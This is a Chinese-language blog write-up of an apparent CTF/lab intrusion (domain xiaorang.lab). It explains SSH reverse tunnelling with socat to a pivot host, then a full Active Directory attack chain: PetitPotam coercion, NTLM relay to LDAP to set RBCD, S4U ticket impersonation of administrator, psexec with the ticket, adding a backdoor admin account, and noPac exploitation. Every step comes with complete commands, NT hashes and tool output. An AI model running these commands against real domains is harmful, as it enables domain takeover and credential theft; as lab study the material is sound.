  • sshd:SSH 服务端(daemon),跑在远端(比如 39.99.132.128),负责接受连接并处理远端转发请求(是否允许由其配置决定)。

区别:ssh 发起连接并创建隧道;sshd 接收连接并在服务器端建立监听/转发。

ssh -i id_rsa root@39.99.132.128 -D 0.0.0.0:1081 -R *:79:127.0.0.1:80
ssh -i ~/.ssh/id_rsa root@39.99.132.128  -D 127.0.0.1:1082 -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:127.0.0.1:79 &
ssh -i id_rsa root@39.99.132.128 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

ssh -i id_rsa root@39.99.132.128 -D 127.0.0.1:12345 -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
ssh -i id_rsa root@39.99.132.128 -D 0.0.0.0:1081 -R *:79:127.0.0.1:80
  • -i id_rsa:用这个私钥登录。
  • -D 0.0.0.0:1081:在本地建立一个 SOCKS 代理(监听所有接口)。
  • -R *:79:127.0.0.1:80:请求在远端监听 *:79(全接口),把连接转到客户端的 127.0.0.1:80。是否真的在 * 上监听取决于远端 sshd_configGatewayPorts)。
ssh -i ~/.ssh/id_rsa root@39.99.132.128 -D 127.0.0.1:1082 -R \*:79:127.0.0.1:80`
 `nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:127.0.0.1:79 &
  • -D 127.0.0.1:1082:只在本地回环提供 SOCKS(更安全)。
  • socat:把远端的外网口 80 转发到回环 79,让 ssh -R(监听回环79)能接到外部的连接。nohup & 是后台运行。
ssh -i id_rsa root@39.99.132.128 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80` + `socat ...
  • 本质同上:只是 -D 的写法变体(SOCKS 可绑在某个地址/端口)。

在远程机上curl 172.22.11.76,本地nc -lvvp 80,可以听到

proxychains curl http://172.22.11.76:80
可以看到成功

假设你在本地(A),远端跳板是 B,目标/访问者是 C(比如内网主机会请求 B:80)。

  1. 你在 A 上运行:
    ssh -i id_rsa root@B -R 79:127.0.0.1:80
    → 这会让 B 上的回环地址 127.0.0.1:79 被 SSH 隧道监听,任何到 127.0.0.1:79 的连接都会被反向转发回 A 的 127.0.0.1:80(或你指定的本地端口)。
  2. 如果 C 访问 B 的 0.0.0.0:80(例如 curl http://B),但 sshd 只监听回环(127.0.0.1)【由于SSH的反向端口在转发监听的时候只会监听127.0.0.1,即使反向在转发79端口指定监听全部,端口79仍绑定在127.0.0.1。】
  3. ,那么直接访问 B:80 并不会走到 127.0.0.1:79。
    → 因此在 B 上启动 socat
    socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:127.0.0.1:79 &
    这会把外部到 B:80 的连接转发到 B 本地的 127.0.0.1:79。
  4. socat 把连接送到 127.0.0.1:79,SSHd 的反向隧道接收到它,然后把流量通过 SSH 隧道送回 A(本地),A 上的 nc -l 80 或你的本地服务就能收到请求。

简短路径: C → (B:80 via socat) → B:127.0.0.1:79 → SSH 隧道 → A:127.0.0.1:80

远端内网的任意主机访问 http://<远端-ip>:80curl 172.22.11.76)。

socat(在远端)监听到来自 0.0.0.0:80 的连接,把连接转发到 127.0.0.1:79(远端本地回环)。

SSHd 上 -R 创建的远端监听(在 127.0.0.1:79)接收这个连接,并通过 SSH 隧道把流量反向传回 SSH 客户端(你机器)。

SSH 客户端上的 SSH 把这流量交给它为 -R 指定的目标(通常是 127.0.0.1:80 —— 你本地的 80)。

因此你在本地的 nc -lvvp 80 会看到来自远端 curl 的请求连接/数据。

1、用petitpotam触发目标访问HTTP服务
2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP
3、获取到机器账号身份
4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。

咱们已有一个“恶意机器账户” XR-Desktop$(机器帐户名以 $ 结尾),并且通过 ntlmrelayx 的某些功能已经用来 把该机器账户写入目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity(即完成 RBCD 设置)。这一步的细节体现在 ntlmrelayx 的 --escalate-user 'xr-desktop$' --delegate-access 选项——下面会说明。

接着本地开启开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,接着使用Petitpotam触发XR-LCM3AE8B认证到172.22.11.76

proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

作用:向 172.22.11.26(有 PetitPotam 漏洞的那台)发送请求,告诉它“去访问 http://ubuntu@80/pwn.txt”(也就是你控制的 HTTP 服务地址)。

结果:目标主机的 WebClient(或相应服务)会对该 URL 发起 NTLM(或 NTLMv2)认证请求,并把 NTLM challenge/response 发给你运行的 HTTP 服务器(也就是你的中继/接收端)。

为什么能用:Windows 的某些 RPC/接口能被远程命令触发,让目标“主动去认证”到一个指定的 URL(这就是 PetitPotam 的要点:强制认证 / Coerce authentication)。

proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access 
  • 作用:启动 ntlmrelayx,接收来自目标机器(被 PetitPotam 强制发出的)NTLM 认证,然后把这个认证转发(relay)到 LDAP(域控 172.22.11.6)
  • 重要参数含义
    • -t ldap://172.22.11.6:把收到的 NTLM auth 中继到 LDAP 服务(域控)。
    • --escalate-user 'xr-desktop$':告诉 ntlmrelayx,用中继的凭证去把 xr-desktop$ 这个机器账号“升级/写入/设置”成能做委托的对象(比如把它加到目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity)。
    • --delegate-access:指示 ntlmrelayx 尝试使用“委托/访问相关”的写操作(例如设置 RBCD)。
    • --no-dump --no-da --no-acl:关闭某些自动枚举/导出行为,只做我们需要的中继/写入。
  • 为什么有效:NTLM relay 到 LDAP,若中继时使用的身份有足够权限(或你中继的对象是机器账户且某些权限被滥用),就能写入计算机对象属性(包括 msDS-AllowedToActOnBehalfOfOtherIdentity)或者以机器账户身份做其他扩展操作。

产出:你成功用中继的 NTLM 凭证,以 xr-desktop$ 的名义在域控/LDAP 上执行修改,从而把 xr-desktop$ 列为被允许做某机器的“代表者”(也可能是把 xr-desktop$ 写入某目标的 AllowedToAct 列表)。这完成了“把恶意机器加入目标的 RBCD”这一重要前提

可以通过S4U扩展协议来申请访问WebDav目标机的ST票据了。

┌──(kali㉿kali)-[~]
└─$ proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :738dcc0171b84e1a36400008983a3e10  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.11.6:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.11.6:88  ...  OK
[*] Impersonating administrator
[*] Requesting S4U2self
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.11.6:88  ...  OK
[*] Requesting S4U2Proxy
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.11.6:88  ...  OK
[*] Saving ticket in administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
  • 这一步在做什么(分两部分)

    1. -hashes :738d...:咱们之前拿到的 xr-desktop$ 的 NT hash
    2. -impersonate administrator:尝试通过 S4U2Self/S4U2Proxy 的流程,以 administrator 身份来为 cifs/XR-LCM3AE8B.xiaorang.lab 申请服务票(SPN)。
    3. -spn cifs/XR-LCM3AE8B.xiaorang.lab:申请针对 CIFS(SMB / file service)的服务票,这是 psexec/SMB 远程执行常用的 SPN。
  • 为什么能拿到票据:因为你之前已经把 xr-desktop$ 写进了目标机器 XR-LCM3AE8BmsDS-AllowedToActOnBehalfOfOtherIdentity(RBCD),所以域控会允许 xr-desktop$ 作为被授予的代理去为 admin 请求到目标主机的服务票(通过 S4U 流程)。

  • 命令输出:它会把拿到的票据(ccache)保存为文件:

    administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache

    这表示“以 administrator 的身份,但用于 cifs/XR-LCM3AE8B 的票据”已成功获取并保存。

将申请到的票据加载到环境变量中,使用psexec登陆远程服务器,即可无密码连接。

export KRB5CCNAME=~/administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
sudo vim /etc/hosts
#填入内容如下
172.22.11.26 XR-LCM3AE8B.xiaorang.lab

为什么要修改 /etc/hostsimpacket-getST 和 psexec 会尝试把 SPN 名称解析到 IP 地址。你通过在 /etc/hosts 中把 XR-LCM3AE8B.xiaorang.lab 映射到 172.22.11.26,确保客户端在做 Kerberos 或 SMB 连接时会将目标主机解析到正确的 IP(并且 SPN 与主机名一致,避免 Kerberos/SMB 主机名不匹配导致票据无效)。但其实不弄也能成功,lucky,但还是弄上。

proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

-k -no-pass:表示使用 Kerberos 认证并且不提供明文密码(使用你环境变量 KRB5CCNAME 指向的 ccache)。因而 psexec 会用你已经获得并载入的 Kerberos 票据去对目标 SMB 服务进行认证并执行命令、落地 shell。

-target-ip:明确使用 IP 来连接目标 SMB(避免 DNS/NetBIOS 的歧义)。

-codec gbk:控制编码(针对中文输出)。


flag04

添一个管理员账号

net user tesq Abcd1234 /add
net localgroup administrators tesq /add

远程桌面连上用猕猴桃拿一下NTML,而zhanghui所属的 MA_Admin 组具备添加机器账户的关键权限(能添加/修改计算机对象的普通用户在某些 AD 环境下可被滥用。),用 noPac

Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

git clone https://github.com/Ridter/noPac.git
cd noPac

proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

type C:\Users\Administrator\flag\flag04.txt

或者XR-DESKTOP$也是可以的,毕竟它本来就是机器账户,不用创建了

proxychains python3 noPac.py xiaorang.lab/'XR-DESKTOP$' -hashes ':03e8d17f4da1797f6b69a9a7a23244c1' -dc-ip 172.22.11.6 --impersonate Administrator -no-add -target-name 'XR-DESKTOP$' -old-hash ':6f558f06e563b300dc9f5884aca659f3' -use-ldap -shell


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录